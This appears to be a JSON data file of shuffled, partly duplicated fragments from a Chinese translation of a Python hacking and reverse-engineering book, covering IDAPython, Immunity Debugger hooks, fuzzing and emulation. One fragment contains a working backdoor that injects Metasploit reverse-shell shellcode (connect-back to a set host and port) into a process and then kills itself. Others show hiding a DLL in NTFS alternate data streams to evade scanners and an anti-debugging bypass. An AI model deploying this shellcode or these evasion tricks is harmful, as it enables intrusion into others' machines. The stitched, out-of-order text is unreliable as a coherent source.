这个空间的大小就是最大的那个变量的大小。这样就能够将联合作为不同类型的变量操作访 问了。"},
    {"text": "序 oor py ... # Now we have to climb out of the process we are in # and code inject our new process to kill ourselves #/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444 Size=287 Encoder=None http://metasploit.com */ connect_back_shellcode = \"\\xfc\\x6a\\xeb\\x4d\\xe8\\xf9\\xff\\xff\\xff\\x60\\x8b\\x6c\\x24\\x24\\x8b\\x45\" \\ \"\\x3c\\x8b\\x7c\\x05\\x78\\x01\\xef\\x8b\\x4f\\x18\\x8b\\x5f\\x20\\x01\\xeb\\x49\" \\ \"\\x8b\\x34\\x8b\\x01\\xee\\x31\\xc0\\x99\\xac\\x84\\xc0\\x74\\x07\\xc1\\xca\\x0d\" \\ \"\\x01\\xc2\\xeb\\xf4\\x3b\\x54\\x24\\x28\\x75\\xe5\\x8b\\x5f\\x24\\x01\\xeb\\x66\" \\ \"\\x8b\\x0c\\x4b\\x8b\\x5f\\x1c\\x01\\xeb\\x03\\x2c\\x8b\\x89\\x6c\\x24\\x1c\\x61\" \\ \"\\xc3\\x31\\xdb\\x64\\x8b\\x43\\x30\\x8b\\x40\\x0c\\x8b\\x70\\x1c\\xad\\x8b\\x40\" \\ \"\\x08\\x5e\\x68\\x8e\\x4e\\x0e\\xec\\x50\\xff\\xd6\\x66\\x53\\x66\\x68\\x33\\x32\" \\ \"\\x68\\x77\\x73\\x32\\x5f\\x54\\xff\\xd0\\x68\\xcb\\xed\\xfc\\x3b\\x50\\xff\\xd6\" \\ \"\\x5f\\x89\\xe5\\x66\\x81\\xed\\x08\\x02\\x55\\x6a\\x02\\xff\\xd0\\x68\\xd9\\x09\" \\ \"\\xf5\\xad\\x57\\xff\\xd6\\x53\\x53\\x53\\x53\\x43\\x53\\x43\\x53\\xff\\xd0\\x68\" \\ \"\\xc0\\xa8\\xf4\\x01\\x66\\x68\\x11\\x5c\\x66\\x53\\x89\\xe1\\x95\\x68\\xec\\xf9\" \\ \"\\xaa\\x60\\x57\\xff\\xd6\\x6a\\x10\\x51\\x55\\xff\\xd0\\x66\\x6a\\x64\\x66\\x68\" \\ \"\\x63\\x6d\\x6a\\x50\\x59\\x29\\xcc\\x89\\xe7\\x6a\\x44\\x89\\xe2\\x31\\xc0\\xf3\" \\ \"\\xaa\\x95\\x89\\xfd\\xfe\\x42\\x2d\\xfe\\x42\\x2c\\x8d\\x7a\\x38\\xab\\xab\\xab\" \\ \"\\x68\\x72\\xfe\\xb3\\x16\\xff\\x75\\x28\\xff\\xd6\\x5b\\x57\\x52\\x51\\x51\\x51\" \\ \"\\x6a\\x01\\x51\\x51\\x55\\x51\\xff\\xd0\\x68\\xad\\xd9\\x05\\xce\\x53\\xff\\xd6\" \\ \"\\x6a\\xff\\xff\\x37\\xff\\xd0\\x68\\xe7\\x79\\xc6\\x79\\xff\\x75\\x04\\xff\\xd6\" \\ \"\\xff\\x77\\xfc\\xff\\xd0\\x68\\xef\\xce\\xe0\\x60\\x53\\xff\\xd6\\xff\\xd0\" inject( pid, connect_back_shellcode ) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ our_pid = str( kernel32.GetCurrentProcessId() ) process_killer_shellcode = \\ \"\\xfc\\xe8\\x44\\x00\\x00\\x00\\x8b\\x45\\x3c\\x8b\\x7c\\x05\\x78\\x01\\xef\\x8b\" \\ \"\\x4f\\x18\\x8b\\x5f\\x20\\x01\\xeb\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xc0\\x99\" \\ \"\\xac\\x84\\xc0\\x74\\x07\\xc1\\xca\\x0d\\x01\\xc2\\xeb\\xf4\\x3b\\x54\\x24\\x04\" \\ \"\\x75\\xe5\\x8b\\x5f\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5f\\x1c\\x01\\xeb\" \\ \"\\x8b\\x1c\\x8b\\x01\\xeb\\x89\\x5c\\x24\\x04\\xc3\\x31\\xc0\\x64\\x8b\\x40\\x30\" \\ \"\\x85\\xc0\\x78\\x0c\\x8b\\x40\\x0c\\x8b\\x70\\x1c\\xad\\x8b\\x68\\x08\\xeb\\x09\" \\ \"\\x8b\\x80\\xb0\\x00\\x00\\x00\\x8b\\x68\\x3c\\x5f\\x31\\xf6\\x60\\x56\\x89\\xf8\" \\ \"\\x83\\xc0\\x7b\\x50\\x68\\xef\\xce\\xe0\\x60\\x68\\x98\\xfe\\x8a\\x0e\\x57\\xff\" \\ \"\\xe7\\x63\\x6d\\x64\\x2e\\x65\\x78\\x65\\x20\\x2f\\x63\\x20\\x74\\x61\\x73\\x6b\" \\ \"\\x6b\\x69\\x6c\\x6c\\x20\\x2f\\x50\\x49\\x44\\x20\\x41\\x41\\x41\\x41\\x00\" padding = 4 - ( len( our_pid ) ) replace_value = our_pid + ( \"\\x00\" * padding ) replace_string= \"\\x41\" * 4 process_killer_shellcode = process_killer_shellcode.replace( replace_string, replace_value ) # Pop the process killing shellcode in inject( our_pid, process_killer_shellcode ) All right!后门程序通计算器(系统的 cacl.exe 有按钮和数字在上面)的 PID，将 shellcode 注入到进程里，然后通过第二个 shellcode 自我了断。"},
    {"text": "接下来就是键盘记录，嗅探数据包，任何你想干的，都去干 吧!!! 但是在这我们还疏忽了一点，不是每台机器都安装了 Python，他们为什么不用 Linux 呢？"},
    {"text": "接下来的脚本将展示如何收集危险函数的调用 信息，以及用 IDA 的 debugger hook 监视函数的代码覆盖率，还有所有函数的栈的大小。 11.3.1 收集危险函数的调用信息 当一个开发者在寻找软件漏洞 bug 的时候，首先会找一些常用的而且容易被错误使用的 函数。"},
    {"text": "下面的脚本，将跟踪这些危险的函数，找出调 用它们的地方，之后在这些地方的背景色设置成不同的颜色，我们在 IDA 窗口中就能很方 便的看出来。"},
    {"text": "#cross_ref.py from idaapi import * danger_funcs = [\"strcpy\",\"sprintf\",\"strncpy\"] for func in danger_funcs: addr = LocByName( func ) if addr != BADADDR: # Grab the cross-references to this address cross_refs = CodeRefsTo( addr, 0 ) print \"Cross References to %s\" % func print \"-------------------------------\" for ref in cross_refs: print \"%08x\" % ref # Color the call RED SetColor( ref, CIC_ITEM, 0x0000ff) 我们先获得危险函数的地址，然后测试这些地址的有效性。"},
    {"text": "用之 前编译好的 war-ftpd.exe 做测试目标，将看到如下的输出: Cross References to sprintf ------------------------------- 004043df 00404408 004044f9 00404810 00404851 00404896 004052cc 0040560d 0040565e 004057bd 004058d7 ... Listing 11-1: cross_ref.py 的输出 上面这些被列出来的地址都是 sprintf 被调用的地方，如果在 IDA 中浏览这些地方 会看到它们都被上了色，如图 11-3。 Figure 11-3: sprintf 调用通过 cross_ref.py 上色之后 11.3.2 函数覆盖率 在执行动态分析的时候，明白我们真正进行的操作是由什么代码执行的，非常重要。"},
    {"text": "#func_coverage.py from idaapi import * class FuncCoverage(DBG_Hooks): # Our breakpoint handler def dbg_bpt(self, tid, ea): print \"[*] Hit: 0x%08x\" % ea return # Add our function coverage debugger hook debugger = FuncCoverage() debugger.hook() current_addr = ScreenEA() # Find all functions and add breakpoints for function in Functions(SegStart( current_addr ), SegEnd( current_addr )): AddBpt( function ) SetBptAttr( function, BPTATTR_FLAGS, 0x0 ) num_breakpoints = GetBptQty() print \"[*] Set %d breakpoints.\" % num_breakpoints 第一步安装 debugger hook ，调试事件发生的时候就会调用它。"},
    {"text": "我 们必须明确的知道，传递给函数的是一个指针还是申请好的栈缓冲区，如果是后者，我们就 会很感兴趣,能传递多少数据给它,要知道溢出可是个精活，空间太小了尽管有漏洞也很难利 用。"},
    {"text": "下面我们用一段简短的代码完成这项任务：枚举程序中所有的函数，然后收集这些函数 的栈信息，如果栈缓冲区大小符合我们的要求，就打印出来。"},
    {"text": "#stack_calc.py from idaapi import * var_size_threshold = 16 current_address = ScreenEA() for function in Functions(SegStart(current_address), SegEnd(current_address) ): stack_frame = GetFrame( function ) frame_counter = 0 prev_count = -1 frame_size = GetStrucSize( stack_frame ) while frame_counter < frame_size: stack_var = GetMemberName( stack_frame, frame_counter ) if stack_var != \"\": if prev_count != -1: distance = frame_counter - prev_distance if distance >= var_size_threshold: print \"[*] Function: %s -> Stack Variable: %s (%d bytes)\" % ( GetFunctionName(function), prev_member, distance ) else: prev_count = frame_counter prev_member = stack_var try: frame_counter = frame_counter + GetMemberSize(stack_frame, frame_counter) except: frame_counter += 1 else: frame_counter += 1 我们设置了一个阈值，用来衡量一个栈变量的大小是不适合我们的需求；"},
    {"text": "如果大小够大，就打印出来，如果不够大，就尝试计 算当前变量的大小，然后加上当前的位置，得到下一个变量的位置。 如果无法确认变量的大 小，就在当前的位置简单的加一个字节，移动到下一个位置，然后继续循环。"},
    {"text": "[*] Function: sub_1245 -> Stack Variable: var_C(1024 bytes) [*] Function: sub_149c -> Stack Variable: Mdl (24 bytes) [*] Function: sub_a9aa -> Stack Variable: var_14 (36 bytes) Listing 11-2: stack_calc.py 的输出 现在我们有了 IDAPython 的基础知识，同时也动手实现了几个很容易扩展的脚本。"},
    {"text": "Cover 序 _____________________________________________________________________ int my_socks(color_one, color_two, color_three); _____________________________________________________________________ Function Call in x86 Assembly 序 7.2.1 文件隐藏 我们的后门会做成 DLL 的形式，为了能够它安全点，得用一些秘密的方法将它藏起来。 我们能够用捆绑器，将两个文件（其中包括我们的 DLL）捆绑起来，不过 WE ARE Python Hacer,当然得有点不一样了。 OS 就是我们最好的老师，NTFS 同样提供了很多强大而隐秘的技巧，今天我们就用 alternate data streams (ADS)。从 Windows NT 3.1 开始就有了这项技术，目的是为了和苹果 的系统 Apple heirarchical file system (HFS)进行通讯。ADS 允许硬盘上的一个文件，能够将 DLL 储存在它的流中，然后附加到主进程执行。流就是隐藏的文件，但是能够被附加到任 何在硬盘上能看得到的文件。 使用流隐藏的文件，不用特殊的工具是看不见的。目前很多安全工具也还不能很好的扫 描 ADS，所以用此逃避追捕是非常理想的。 在一个文件上使用 ADS，很简单，只要在文件名后附加双引号，接着跟上我们想隐藏 的文件。 reverser.exe:vncdll.dll 在 这 个 例 子 中 我 们 将 vncdll. dll 附 加 到 reverser.exe 中 。 下 面 写 个 简 单 的 脚 本 file_hider.py，就当的读取文件然后写入指定文件的 ADS。 #file_hider.py import sys # Read in the DLL fd = open( sys.argv[1], \"rb\" ) dll_contents = fd.read() fd.close() print \"[*] Filesize: %d\" % len( dll_contents ) # Now write it out to the ADS fd = open( \"%s:%s\" % ( sys.argv[2], sys.argv[1] ), \"wb\" ) fd.write( dll_contents ) fd.close() 很简单，第一个传入的参数就是我们想隐藏的 DLL，第二参数就是目标文件。用这个 工具我们就能够很方便的，通过写入流的方式，将我们的文件和目标文件结合在一起。 序 PyCommands 在 Immunity 中执行 Python 的方法即使用 PyCommands。PyCommands 就是一个个 python 脚本文件，存放在 Immunity 安装目录的 PyCommands 文件夹里。每个 python 脚本都执行一 个任务（hooking，静态分析等待），相当于一个 PyCommand。每个 PyCommand 都有一个 特定的结构。以下就是一个基础的模型: from immlib import * def main(args): # Instantiate a immlib.Debugger instance imm = Debugger() return \"[*] PyCommand Executed!\" PyCommand 有两个必备条件。一个 main()函数，只接收一个参数（由所有参数组成的 python 列表） 。另一个必备条件是在函数执行完成的时候必须返回一个字符串，最后更新在 调试器主界面的状态栏。执行命令之前必须在命令前加一个感叹号。 !<scriptname> 5.2.2 序 PyHooks Immunity 调试器包含了 13 总不同类型的 hook。每一种 hook 都能单独实现，或者嵌入 PyCommand。 BpHook/LogBpHook 当一个断点被触发的时候，这种 hook 就会被调用。两个 hook 很相似，除了 BpHook 被 触发的时候，会停止被调试的进程，而 LogBpHook 不会停止被调试的进程。 AllExceptHook 所有的异常的都会触发这个 hook。 PostAnalysisHook 在一个模块被分析完成的时候，这种 hook 就会被触发。这非常有用，当你在在模块分 析完成后需要进一步进行静态分析的时候。记住，在用 immlib 对一个模块进行函数和基础 块的解码之前必须先分析这个模块。 AccessViolationHook 这个 hook 由访问违例触发。常用于在 fuzz 的时候自动化捕捉信息。 LoadDLLHook/UnloadDLLHook 当一个 DLL 被加载或者卸载的时候触发。 CreateThreadHook/ExitThreadHook 当一个新线程创建或者销毁的时候触发。 CreateProcessHook/ExitProcessHook 当目标进程开始或者结束的时候触发。 FastLogHook/STDCALLFastLogHook 这两种 hook 利用一个汇编跳转，将执行权限转移到一段 hook 代码用以记录特定的寄存 器，和内存数据。当函数被频繁的调用的时候这种 hook 非常有用；第六章将详细讲解。 以下的 LogBpHook 例子代码块能够作为 PyHook 的模板。 from immlib import * class MyHook( LogBpHook ): def __init__( self ): LogBpHook.__init__( self ) def run( regs ): # Executed when hook gets triggered 我们重载了 LogBpHook 类，并且建立了 run()函数（必须）。当 hook 被触发的时候，所 有的 CPU 寄存器，以及指令都将被存入 regs，此时我们就可以修改它们了。regs 是一个字 典，如下访问相应寄存器的值： regs[\"ESP\"] hook 可以定义在 PyCommand 里，随时调用。也可以写成脚本放入 PyHooks 目录。每 次启动 Immunity 都会制动加载这些目录。接下来看些实例。"},
    {"text": "序 9 SULLEY Sulley 名字来起源于电影《Monsters》 ， 一头毛绒绒的蓝色怪物。下面将要看到的 Sulley 也是一个怪物，强大的基于 Python 的 fuzzing 框架的怪物（在这里让我们感谢他们：Pedram Amini 和 Aaron Portnoy of TippingPoint） 。Sulley 不仅仅是一个 fuzzer；它还有拥有优秀的崩 溃报告，自动虚拟化技术（VMWare automation）。在 fuzzing 的过程中你可以在任意时刻， 甚至是目标程序崩溃的时候，从新启动程序到前一刻，继续寻找 bug 之旅。In short, Sulley is badass. Sulley 和 SPIKE（一款著名的协议 fuzzing 工具，当然它是免费的）一样使用了数据块 技术，所以生成的数据会更有“智慧” ，不在是一群没头没脑的苍蝇。让我们看看什么是基 于块的 fuzzing 技术，在生成测试数据前，你必须针对协议或者是文件格式，完成一个数据 生成的框架，框架里尽可能详细的包含了协议（或者文件格式）的各个字段，数据类型，还 有长度信息，最后生成的测试数据就会非常有针对性。让后把这些测试数据传递给负责协议 测试的框架，用于 fuzzing。这项技术最早提出来的目的就是为了解决网络协议 fuzz 时的盲 目性。举个例子，在网络协议中，一般每个字段都有长度记录，如果我们发送的测试数据增 加了数据的长度，却没有改变长度记录，那服务端程序，就会根据长度记录，自动抛弃多余 的数据，这样在 fuzzing 的时候，就很难找出 bug 了。基于块的技术则是负责处理这些数据 块间的关系的，让生成的数据更标准，而不是像野蛮人。 接下来我们会详细的讲解 Sully，从安装到使用。先是快速的了解 Sulley 创建 protocol description（协议描述）的基础知识。接着再完成一个包含，fuzzing 框架，包捕获，以及崩 溃报告的完整的 fuzzer。我们 fuzzing 的目标就是 WarFTPD，早期的版本存在栈溢出。测试 fuzzer 最常见方法就是，用有漏洞的程序喂它，如果它能咬出一个洞，说明你的 fuzzer 还不 傻，如果什么都没发现，那洗洗回去睡把。这次我们喂的是个怪物，如果你还没有饲养手册， 可以看看 Pedram 和 Aaron 写的 Sulley manual。好了，让我们继续。 序 5.4.1 IsDebuggerPresent 现在最常用的反调试机制就是用 IsDebuggerPresent（由 kernel32.导出）。函数不需要参 数，如果发现有调试器附加到当前进程，就返回 1，否则返回 0.如果我们反汇编这个函数： 7C813093 >/$ 64:A1 18000000 MOV EAX,DWORD PTR FS:[18] 7C813099 |. 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30] 7C81309C |. 0FB640 02 MOVZX EAX,BYTE PTR DS:[EAX+2] 7C8130A0 \\. C3 RETN 代码通过不断的寻址找到能证明进程被调试的数据位，第一行， 通过 FS 寄存器的第 0x18 位找到 TIB（线程信息块）的地址。第二行通过 TIB 的第 0x30 位找到 PEB(进程环境信息块) 的地址。第三行将 PEB 的 0x2 位置上的 BeingDebugged 变量存在 EAX 寄存器中，如果有调 试器附加到进程，该值为 0x1。Damian Gomez 提供了一个简单的方式绕过 IsDebuggerPresent， 可以很方便的在 Immunity 执行，或者在 PyCommand 中调用。 imm.writeMemory( imm.getPEBaddress() + 0x2, \"\\x00\" ) 上 面 的 代 码 将 PEB 的 BeingDebugged 标 志 就 当 的 设 置 成 0. 现 在 病 毒 无 法 使 用 IsDebuggerPresent 来判断了调试器了，它傻了。"},
    {"text": "序 3.4.1 软件断点 为 了 设 置 软 件 断 点 ， 我 们 必 须 能 够 将 数 据 写 入 目 标 进 程 的 内 存 。 这 需 要 通 过 ReadProcessMemory() 和 WriteProcessMemory()实现。它们非常相似： BOOL WINAPI ReadProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead ); BOOL WINAPI WriteProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten ); 这 两 个 函 数 都 允 许 调 试 器 观 察 和 更 新 被 调 试 的 进 程 的 内 存 。 参 数 也 都 很 简 单 。 lpBaseAddress 是 要 开 始 读 或 者 些 的 目 标 地 址 ， lpBuffer 指 向 一 块 缓 冲 区 ， 用 来 接 收 lpBaseAddress 读 出 的 数 据 或 者 写 入 lpBaseAddress 。 nSize 是 想 要 读 写 的 数 据 大 小 ， lpNumberOfBytesWritten 由函数填写，通过它我们就能够知道一次操作过后实际读写了的数 据。 现在让我们的调试器实现软件断点就相当容易了。修改调试器的核心类，以支持设置和 处理软件断点。 #my_debugger.py ... class debugger(): def __init__(self): self.h_process = None self.pid = None self.debugger_active = False self.h_thread = None self.context = None self.breakpoints = {} ... def read_process_memory(self,address,length): data = \"\" read_buf = create_string_buffer(length) count = c_ulong(0) if not kernel32.ReadProcessMemory(self.h_process, address, read_buf, length, byref(count)): return False else: data += read_buf.raw return data def write_process_memory(self,address,data): count = c_ulong(0) length = len(data) c_data = c_char_p(data[count.value:]) if not kernel32.WriteProcessMemory(self.h_process, address, c_data, length, byref(count)): return False else: return True def bp_set(self,address): if not self.breakpoints.has_key(address): try: # store the original byte original_byte = self.read_process_memory(address, 1) # write the INT3 opcode self.write_process_memory(address, \"\\xCC\") # register the breakpoint in our internal list self.breakpoints[address] = (address, original_byte) except: return False return True 现在调试器已经支持软件断点了，我们需要找个地址设置一个试试看。一般断点设置在 函数调用的地方，为了这次 实验，我们就用老朋友 printf()作为将要捕获的目标函数。WIndows 调试 API 提供了简洁的 方法以确定一个函数的虚拟地址， GetProcAddress()，同样也是从 kernel32.dll 导出的。这个 函数需要的主要参数就是一个模块（一个 dll 或者一个 .exe 文件）的句柄。模块中一般都包含 了我们感兴趣的函数; 可以通过 GetModuleHandle()获得模块的句柄。原型如下： FARPROC WINAPI GetProcAddress( HMODULE hModule, LPCSTR lpProcName ); HMODULE WINAPI GetModuleHandle( LPCSTR lpModuleName ); 这是一个很清晰的事件链：获得一个模块的句柄，然后查找从中导出感兴趣的函数的地 址。让我们增加一个调试函数，完成刚才做的。回到 my_debugger.py.。 序 _____________________________________________________________________ push color_three push color_two push color_one call my_socks 序 12 PyEmu PyEmu 由 Cody Pierce(TippingPoint DVLabs team) 于 2007 在黑帽大会上首次公布。 PyEmu 是一个存 Python 实现的 IA32 仿真器，用于仿真 CPU 的各种行为以完成不同的任务。仿 真器非常有用，比如在调试病毒的时候，我们就不用真正的运行 它，而是通过仿真器欺骗它在我们的模拟环境中运行。 PyEmu 里 有 三 个 类 :IDAPyEmu, PyDbgPyEmu 和 PEPyEmu 。 IDAPyEmu 用于在 IDA Pro 内完成各种仿真任务（由 DAPython 调用， 详看第 11 章），PyDbgPyEmu 类用于动态分析，同时它允许使用我们真正的内存和寄存器。 PEPyEmu 类是一个独立的静态分析库，不需要 IDA 就能完成反汇编任务。我们主要介 绍 IDAPyEmu 和 PEPyEm，剩下的 PyDbgPyEmu 留给大家自己去试验。下面先从 PyEmu 的安 装开始，接着深入介绍仿真器的架构，为实际应用做好准备。 安装 PyEmu 从 http://www.nostarch.com/ghpython.htm 下载作者打包好的文件，如果没有的同学 去 googl e code 上下。 文件下载好后，解压到 C:\\PyEmu。每次创建 PyEmu 脚本的时候，都要加入以下两行 Python 代码： sys.path.append(\"C:\\PyEmu\\\") sys.path.append(\"C:\\PyEmu\\lib\") 接下来让我们输入了解下 PyEmu 的系统架构，方便后面的脚本编写。"},
    {"text": "在使用 soft hook 的时候在断点触发的时候有很多事件 发生，接着执行 hook 代码，最后恢复进程。 使用 hard hook 的时候，只要在进程内部扩展一 块区域，存放 hook 代码，跳转到此区域执行完成后，返回正常的程序执行流程。 优点就是， hard hook 目标进程的时候，进程没有暂停，不像 soft hook。"},
    {"text": "程序框架如下： imm = immlib.Debugger() fast = immlib.FastLogHook( imm ) fast.logFunction( address, num_arguments ) fast.logRegister( register ) fast.logDirectMemory( address ) fast.logBaseDisplacement( register, offset ) logFunction 接受两个参数，address 就是在希望 hook 的函数内部的某个地址（这个地 址会被跳转指令覆盖）。"},
    {"text": "数 据 的 记 录 由 logRegister(),logBaseDisplacement(), and logDirectMemory()三个方法完成。 logRegister( register ) logBaseDisplacement( register, offset ) logDirectMemory( address ) logRegister()方法用于跟踪指定的寄存器，比如跟踪函数的返回值（存储在 EAX 中） 。 logBaseDisplacement()方法接收 2 个参数，一个寄存器，和一个偏移量；"},
    {"text": "为了检索 hook 的结果，你必须使用 getAllLog()函数，它会返回一个 Python 列表： [( hook_address, ( arg1, arg2, argN )), ... ] 所以每次 hook 被触发的时候，触发地址就存在 hook_address 里，所有需要的信息包含 在 第 二 项 中 。"},
    {"text": "BOOLEAN RtlFreeHeap( IN PVOID HeapHandle, IN ULONG Flags, IN PVOID HeapBase ); PVOID RtlAllocateHeap( IN PVOID HeapHandle, IN ULONG Flags, IN SIZE_T Size ); RtlFreeHeap 和 RtlAllocateHeap 的所有参数都是必须捕捉的，不过 RtlAllocateHeap 返回的新堆的地址也是需要捕捉的。"},
    {"text": "#hippie_easy.py import immlib import immutils # This is Nico's function that looks for the correct # basic block that has our desired ret instruction # this is used to find the proper hook point for RtlAllocateHeap def getRet(imm, allocaddr, max_opcodes = 300): addr = allocaddr for a in range(0, max_opcodes): op = imm.disasmForward( addr ) if op.isRet(): if op.getImmConst() == 0xC: op = imm.disasmBackward( addr, 3 ) return op.getAddress() addr = op.getAddress() return 0x0 # A simple wrapper to just print out the hook # results in a friendly manner, it simply checks the hook # address against the stored addresses for RtlAllocateHeap, RtlFreeHeap def showresult(imm, a, rtlallocate): if a[0] == rtlallocate: imm.Log( \"RtlAllocateHeap(0x%08x, 0x%08x, 0x%08x) <- 0x%08x %s\" % (a[1][0], a[1][1], a[1][2], a[1][3], extra), address = a[1][3] ) return \"done\" else: imm.Log( \"RtlFreeHeap(0x%08x, 0x%08x, 0x%08x)\" % (a[1][0], a[1][1], a[1][2]) ) def main(args): imm = immlib.Debugger() Name = \"hippie\" fast = imm.getKnowledge( Name ) if fast: # We have previously set hooks, so we must want # to print the results hook_list = fast.getAllLog() rtlallocate, rtlfree = imm.getKnowledge(\"FuncNames\") for a in hook_list: ret = showresult( imm, a, rtlallocate ) return \"Logged: %d hook hits.\" % len(hook_list) # We want to stop the debugger before monkeying around imm.Pause() rtlfree = imm.getAddress(\"ntdll.RtlFreeHeap\") rtlallocate = imm.getAddress(\"ntdll.RtlAllocateHeap\") module = imm.getModule(\"ntdll.dll\") if not module.isAnalysed(): imm.analyseCode( module.getCodebase() ) # We search for the correct function exit point rtlallocate = getRet( imm, rtlallocate, 1000 ) imm.Log(\"RtlAllocateHeap hook: 0x%08x\" % rtlallocate) # Store the hook points imm.addKnowledge( \"FuncNames\", ( rtlallocate, rtlfree ) ) # Now we start building the hook fast = immlib.STDCALLFastLogHook( imm ) # We are trapping RtlAllocateHeap at the end of the function imm.Log(\"Logging on Alloc 0x%08x\" % rtlallocate) fast.logFunction( rtlallocate ) fast.logBaseDisplacement( \"EBP\", 8 ) fast.logBaseDisplacement( \"EBP\", 0xC ) fast.logBaseDisplacement( \"EBP\", 0x10 ) fast.logRegister( \"EAX\" ) # We are trapping RtlFreeHeap at the head of the function imm.Log(\"Logging on RtlFreeHeap 0x%08x\" % rtlfree) fast.logFunction( rtlfree, 3 ) # Set the hook fast.Hook() # Store the hook object so we can retrieve results later imm.addKnowledge(Name, fast, force_add = 1) return \"Hooks set, press F9 to continue the process.\" 第一个函数使用 Nico 内建的代码块找到可以在 RtlAllocateHeap 内部设置 hook 的地址。"},
    {"text": "让我们反汇编 RtlAllocateHeap 函数看看最后几行的指令是怎么样的： 0x7C9106D7 F605 F002FE7F TEST BYTE PTR DS:[7FFE02F0],2 0x7C9106DE 0F85 1FB20200 JNZ ntdll.7C93B903 0x7C9106E4 8BC6 MOV EAX,ESI 0x7C9106E6 E8 17E7FFFF CALL ntdll.7C90EE02 0x7C9106EB C2 0C00 RETN 0C Python 代码从函数的头部看似反汇编，直到在 0x7C9106EB 找到 RET 指令然后确认整 行指令包含 0x0C。"},
    {"text": "这样做只不过是为了确保 有足够的空间写入 5 个字节的 JMP 指令。 如果我们在 RET 这行写入 5 个字节的 JMP 指令， 数据就会覆盖出函数的代码范围。"},
    {"text": "RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca0b0) RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca058) RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca020) RtlFreeHeap(0x001a0000, 0x00000000, 0x001a3ae8) RtlFreeHeap(0x00030000, 0x00000000, 0x00037798) RtlFreeHeap(0x000a0000, 0x00000000, 0x000c9fe8) Listing 6-2 由!hippie_easy PyCommand 产生的输出 非常好！"},
    {"text": "序 PyHooks Immunity 调试器包含了 13 总不同类型的 hook。每一种 hook 都能单独实现，或者嵌入 PyCommand。 BpHook/LogBpHook 当一个断点被触发的时候，这种 hook 就会被调用。两个 hook 很相似，除了 BpHook 被 触发的时候，会停止被调试的进程，而 LogBpHook 不会停止被调试的进程。 AllExceptHook 所有的异常的都会触发这个 hook。 PostAnalysisHook 在一个模块被分析完成的时候，这种 hook 就会被触发。这非常有用，当你在在模块分 析完成后需要进一步进行静态分析的时候。记住，在用 immlib 对一个模块进行函数和基础 块的解码之前必须先分析这个模块。 AccessViolationHook 这个 hook 由访问违例触发。常用于在 fuzz 的时候自动化捕捉信息。 LoadDLLHook/UnloadDLLHook 当一个 DLL 被加载或者卸载的时候触发。 CreateThreadHook/ExitThreadHook 当一个新线程创建或者销毁的时候触发。 CreateProcessHook/ExitProcessHook 当目标进程开始或者结束的时候触发。 FastLogHook/STDCALLFastLogHook 这两种 hook 利用一个汇编跳转，将执行权限转移到一段 hook 代码用以记录特定的寄存 器，和内存数据。当函数被频繁的调用的时候这种 hook 非常有用；第六章将详细讲解。 以下的 LogBpHook 例子代码块能够作为 PyHook 的模板。 from immlib import * class MyHook( LogBpHook ): def __init__( self ): LogBpHook.__init__( self ) def run( regs ): # Executed when hook gets triggered 我们重载了 LogBpHook 类，并且建立了 run()函数（必须）。当 hook 被触发的时候，所 有的 CPU 寄存器，以及指令都将被存入 regs，此时我们就可以修改它们了。regs 是一个字 典，如下访问相应寄存器的值： regs[\"ESP\"] hook 可以定义在 PyCommand 里，随时调用。也可以写成脚本放入 PyHooks 目录。每 次启动 Immunity 都会制动加载这些目录。接下来看些实例。"},
    {"text": "序 10.2 用 Immunity fuzzing 驱动 我们需要使用 Immunity 强大的调试功能，挂钩住 DeviceIoControl 函数，在数据到达目 标驱动之前，截获它们，这就是我们 Driver Fuzzing 的基础。如果一切顺利，最后可以将一 些列工作写出自动化的 PyCommand，我们只要喝着茶看着 Immunity 完成一切工作：截获 DeviceIoControl，变形缓冲区数据，记录相关信息，将控制权交还给目标程序。之所以要对 数据进行记录，是因为每次成功的 fuzzing 都会引起系统奔溃，而记录可以更好的还原崩溃 时发送的数据。 提示 确保不要在自己的机器上进行实验。除非你想见到无数次的蓝屏，重启，最后就是 硬盘报销的声音，哈哈！老天保佑，我们还可以使用虚拟机，虽然它的模拟在某些底层细节 上不是很好，不过这可比硬盘便宜。 开动代码。新建一个 Python 脚本 ioctl_fuzzer.py。 #ioctl_fuzzer.py import struct import random from immlib import * class ioctl_hook( LogBpHook ): def __init__( self ): self.imm = Debugger() self.logfile = \"C:\\ioctl_log.txt\" LogBpHook.__init__( self ) def run( self, regs ): \"\"\" We use the following offsets from the ESP register to trap the arguments to DeviceIoControl: ESP+4 -> hDevice ESP+8 -> IoControlCode ESP+C -> InBuffer ESP+10 -> InBufferSize ESP+14 -> OutBuffer ESP+18 -> OutBufferSize ESP+1C -> pBytesReturned ESP+20 -> pOverlapped \"\"\" in_buf = \"\" # read the IOCTL code ioctl_code = self.imm.readLong( regs['ESP'] + 8 ) # read out the InBufferSize inbuffer_size = self.imm.readLong( regs['ESP'] + 0x10 ) # now we find the buffer in memory to mutate inbuffer_ptr = self.imm.readLong( regs['ESP'] + 0xC ) # grab the original buffer in_buffer = self.imm.readMemory( inbuffer_ptr, inbuffer_size ) mutated_buffer = self.mutate( inbuffer_size ) # write the mutated buffer into memory self.imm.writeMemory( inbuffer_ptr, mutated_buffer ) # save the test case to file self.save_test_case( ioctl_code, inbuffer_size, in_buffer, mutated_buffer ) def mutate( self, inbuffer_size ): counter = 0 mutated_buffer = \"\" # We are simply going to mutate the buffer with random bytes while counter < inbuffer_size: mutated_buffer += struct.pack( \"H\", random.randint(0, 255) )[0] counter += 1 return mutated_buffer def save_test_case( self, ioctl_code,inbuffer_size, in_buffer, mutated_buffer ): message = \"*****\\n\" message += \"IOCTL Code: 0x%08x\\n\" % ioctl_code message += \"Buffer Size: %d\\n\" % inbuffer_size message += \"Original Buffer: %s\\n\" % in_buffer message += \"Mutated Buffer: %s\\n\" % mutated_buffer.encode(\"HEX\") message += \"*****\\n\\n\" fd = open( self.logfile, \"a\" ) fd.write( message ) fd.close() def 